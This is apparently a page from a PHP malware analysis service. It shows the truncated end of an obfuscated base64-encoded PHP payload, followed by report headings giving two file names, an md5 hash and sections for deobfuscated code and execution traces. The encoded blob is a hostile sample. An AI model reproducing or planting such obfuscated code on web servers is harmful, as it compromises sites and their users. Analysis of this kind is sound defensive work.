svQwFF9MO2nKA1jRhMYCnVw5ZhaXlGo0T7YGICcm4cRPdYZmLNvM24F1tQuZ7IphORxO20W0J+xJFRKm8hh/DJOazSgaEOh9BTagqLR4QK6UsgErL/xJjDIOToiNzc2rUQgoI2FYThhiCHPNZtzrdNDOtaLMQATMkTI5KcslJTKM9MulpD9XQkqkOfDMgaeMlMDTL8/JRPlk7V6nlaVdTgr4aQ/riekHJudgtnbaASi3l6WsLicLnBAXLxgfKPJGgsE3UxwpGMU54PCAgL2GoeFU211u4HyEy59t58n8uXnQKZYMZh0li2lrnhl9GIKvi884WtNjufqzAeSJcoW7kR3+J5HxscJnJqz4ST0Nw6JpRNJ56CoJ9wC64hw30VPE6mUcapdf6WVdIoFNIvPWwItXejEXoeBNFFQZK0Lx8DfUjMsNZRM2i1WlBo1Ob6JMxVpCV2ri5S4BcZEGwlRqKDEZlCVGNWEQz8PiouEhjmYUFwZVpywkSkziWLFjC7m4vmqdRqNbodGplKZiXUk4IXgvcInT/CKPBJ98kRZ+NOJwGo0aCk5BsXqlnoBFxq/xIbhIZzTxYC4OuohQFvB9k6A4A1gvE7k9KCFgjUKhv0BfrWT0isnNqOSQrKfMuxXOJywbVLvZ2tidEG2ljePrhmplo+MhcOvKPOsVYRFXgUfGLpIA+ghlGMkvlIjLY5KLgrmoDfad35EOixXELjYMA+bJt2znxFF+/H9QSLB4BMBncUxki3P/AbUxDAQ=\')));'); $tV = "<token>000000000</token>"; /* FoxAuto */
PHP Malware Analysis

drrwojkwux.php, zjohyognkh.php

md5: 5cc1641c1815a95e24f3f47576c43c84

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
